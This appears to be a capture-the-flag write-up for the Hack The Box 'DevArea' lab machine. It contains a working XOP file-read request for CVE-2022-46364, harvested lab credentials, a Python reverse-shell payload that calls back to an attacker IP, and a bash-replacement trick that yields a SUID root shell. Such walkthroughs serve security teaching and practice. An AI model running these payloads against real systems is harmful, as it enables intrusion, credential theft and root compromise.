02/04/26

DevArea

HTB machine Season 10

hack-the-box

بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ

In this write-up, we will walk through the steps to hack the DevArea machine on Hack The Box.

Recon

We start as usual with an Nmap scan to see what we are dealing with.

bash
nmap devarea.htb -sCV -T5

Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-01 21:05 -0400
Nmap scan report for devarea.htb (10.129.244.208)
Host is up (0.29s latency).
Not shown: 994 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Sep 22  2025 pub
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.58
|_http-title: DevArea - Connect with Top Development Talent
8080/tcp open  http    Jetty 9.4.27.v20200227
|_http-title: Error 404 Not Found
8500/tcp open  http    Golang net/http server
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
8888/tcp open  http    Golang net/http server
|_http-title: Hoverfly Dashboard

So right away, there are three very interesting things:

  • anonymous FTP on 21
  • a Java app on 8080
  • Hoverfly on 8888

Check the anonymous FTP

Since anonymous FTP is enabled, the next step is to see what is sitting there , there was a jar file inside the pub and we download it

bash
ftp anonymous@devarea.htb
ftp> cd pub
ftp> ls
229 Entering Extended Passive Mode (|||46723|)
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp       6445030 Sep 22  2025 employee-service.jar
226 Directory send OK.
ftp> get employee-service.jar

That file is very useful and may tells us about the services running on the machine . so we gonna reverse Engineer it , and see the class inside it

bash
ζ unzip employee-service.jar -d jar-content

after looking around inside the jar-content , we can see some app classes under htb/devarea/:

text
htb/devarea/EmployeeServiceImpl.class
htb/devarea/Report.class
htb/devarea/EmployeeService.class
htb/devarea/ServerStarter.class

And from the extracted class strings we get the actual SOAP endpoint:

bash
ζ strings *.class
http://0.0.0.0:8080/employeeservice
WSDL available at http://localhost:8080/employeeservice?wsdl
submitReport

At this point, the most interesting thing was clearly the SOAP service on port 8080.

Web app + SOAP service analysis

When visiting:

text
http://devarea.htb:8080/employeeservice?wsdl

we find a SOAP service exposing a method called submitReport.

xml
<wsdl:operation name="submitReport">
  <wsdl:input message="tns:submitReport"/>
  <wsdl:output message="tns:submitReportResponse"/>
</wsdl:operation>

So the first thing I wanted to know was what framework this service was using and whether there was anything old enough to be vulnerable.

After checking the bundled libraries (just from the jar file), the app was running on:

bash
ζ find ../../ -name pom.properties -exec cat {} \; 
  • Apache CXF 3.2.14
  • Jetty 9.4.27
  • some old XML / SOAP-related libraries

That immediately made the MTOM/XOP issue in old CXF interesting.

Initial access

CVE-2022-46364 / MTOM-XOP file read

Apache CXF 3.2.14 is vulnerable to CVE-2022-46364, which can be abused through MTOM/XOP includes.

Classic DTD-based XXE did not work here because the parser rejected DOCTYPE, but MTOM/XOP did.

The following request worked and let us read local files from the target: (burpsuite request)

http
POST /employeeservice HTTP/1.1
Host: devarea.htb:8080
Content-Type: multipart/related; type="application/xop+xml"; start-info="text/xml"; boundary="----=LOL"
Content-Length: 650

------=LOL
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"

<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/" xmlns:xop="http://www.w3.org/2004/08/xop/include">
  <soapenv:Header/>
  <soapenv:Body>
    <dev:submitReport>
      <arg0>
        <confidential>false</confidential>
        <content><xop:Include href="file:///etc/hostname"/></content>
        <department>security</department>
        <employeeName>nutzh</employeeName>
      </arg0>
    </dev:submitReport>
  </soapenv:Body>
</soapenv:Envelope>
------=LOL

So the file read was confirmed.

Extracting Hoverfly credentials

Since Hoverfly was running on port 8888, the next idea was to use the file-read vulnerability to look for its service configuration.

After trying a few common paths, we found: /etc/systemd/system/hoverfly.service That gave us these credentials:

text
[Unit]
Description=HoverFly service
After=network.target

[Service]
User=dev_ryan
Group=dev_ryan
WorkingDirectory=/opt/HoverFly
ExecStart=/opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0 #credentials

Restart=on-failure
RestartSec=5
StartLimitIntervalSec=60
StartLimitBurst=5
LimitNOFILE=65536
StandardOutput=journal
StandardError=journal

[Install]
WantedBy=multi-user.target

Now we had access to Hoverfly admin on port 8888.

Authenticating to Hoverfly

Hoverfly uses /api/token-auth to issue a Bearer token.

After getting the token, we interacted with the API and found that middleware execution was possible.

Abuse Hoverfly middleware for code execution

The very nice part here is that the middleware gets validated by Hoverfly, and that validation itself executes the middleware script locally.

So we set a malicious middleware that spawns a reverse shell during validation.

Listener:

bash
ζ nc -lvnp 1234                                                            
listening on [any] 1234 ...
bash: cannot set terminal process group (4406): Inappropriate ioctl for device
bash: no job control in this shell
dev_ryan@devarea:/opt/HoverFly$ 

So that gave us initial access as dev_ryan.

Post-exploitation enumeration

The first useful thing was the sudo rule:

bash
dev_ryan@devarea:/opt/HoverFly$ sudo -l
sudo -l
Matching Defaults entries for dev_ryan on devarea:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User dev_ryan may run the following commands on devarea:
    (root) NOPASSWD: /opt/syswatch/syswatch.sh, !/opt/syswatch/syswatch.sh
        web-stop, !/opt/syswatch/syswatch.sh web-restart

So we can run syswatch.sh as root, except with web-stop and web-restart.

At first, I spent some time looking at plugins and logs, and then found an environment file related to SysWatch:

bash
cat /etc/syswatch.env

SYSWATCH_SECRET_KEY=f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725
SYSWATCH_ADMIN_PASSWORD=SyswatchAdmin2026
SYSWATCH_LOG_DIR=/opt/syswatch/logs
SYSWATCH_DB_PATH=/opt/syswatch/syswatch_gui/syswatch.db
SYSWATCH_PLUGIN_DIR=/opt/syswatch/plugins
SYSWATCH_BACKUP_DIR=/opt/syswatch/backup
SYSWATCH_VERSION=1.0.0

That confirmed SysWatch was the important component.

PrivEsc

The syswatch.sh is a bash script, and it also uses bash again when executing plugins.

That makes /usr/bin/bash a very interesting target. If we replace /usr/bin/bash with a malicious payload, then when syswatch.sh is executed as root, our payload will run with root privileges.

Create the payload

First, we prepare our malicious payload. After that, we switch to another shell (not bash)and kill the currently running bash process, so /usr/bin/bash is no longer busy. Then we overwrite it with our malicious version and trigger syswatch.sh through sudo.

To make things easier, we can get a shell that is not bash like sh from the Hoverfly RCE:

json
{
"binary": "/usr/bin/python3",
"script": "import sys,socket,os,pty\ndata=sys.stdin.read()\ns=socket.socket();s.connect((\"10.10.14.XXX\",4444))\nos.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2)\npty.spawn(\"/bin/sh\")\n",
"remote": ""
}

After getting a /bin/sh shell, the first thing we do is copy the original bash binary to another location.

bash
ζ nc -lvnp 4444                                                            
listening on [any] 4444 ...
$ cp /usr/bin/bash /tmp/bash

after that we gonna create our payload , the main idea is to create a SUID bash at /tmp/rootbash

bash
$ cat /tmp/payload.sh
#!/tmp/bash
cp /tmp/bash /tmp/rootbash
chmod +s /tmp/rootbash
cp /tmp/bash /usr/bin/bash
exec /usr/bin/bash "$@"
$ chmod +x /tmp/payload.sh

What this payload does:

  1. creates a SUID bash at /tmp/rootbash
  2. restores the original /usr/bin/bash
  3. continues execution normally

after that we gonna copy the payload into /usr/bin/bash

bash
$ cp /tmp/payload.sh /usr/bin/bash
$ cat /usr/bin/bash
cat /usr/bin/bash
#!/tmp/bash
cp /tmp/bash /tmp/rootbash
chmod +s /tmp/rootbash
cp /tmp/bash /usr/bin/bash
exec /usr/bin/bash "$@"

If cp does not work for you, you can also use dd or mv instead.

after that we gonna execute the syswatch script

bash
$ sudo /opt/syswatch/syswatch.sh plugin cpu_mem_monitor.sh
sudo /opt/syswatch/syswatch.sh plugin cpu_mem_monitor.sh
/bin/bash: line 15: syntax error near unexpected token `('
/bin/bash: line 15: `R�AbBN�@P@�(�L�.<:R@&
                                          J�E0�88!d
                                                   ��P��0D���@`
                                                                ��H��`��P3�1!▒� �
     BL) 9E4!(�BD@"�P@B� �XDB�▒���Q�(�'
$ ls /tmp
$ ls -al /tmp/rootbash
ls -al /tmp/rootbash
-rwsr-sr-x 1 root root 1446024 Apr  3 06:23 /tmp/rootbash

And pop a root shell:

bash
$ /tmp/rootbash -p
rootbash-5.2# id
id
uid=1001(dev_ryan) gid=1001(dev_ryan) euid=0(root) egid=0(root) groups=0(root),1001(dev_ryan)

ROOTED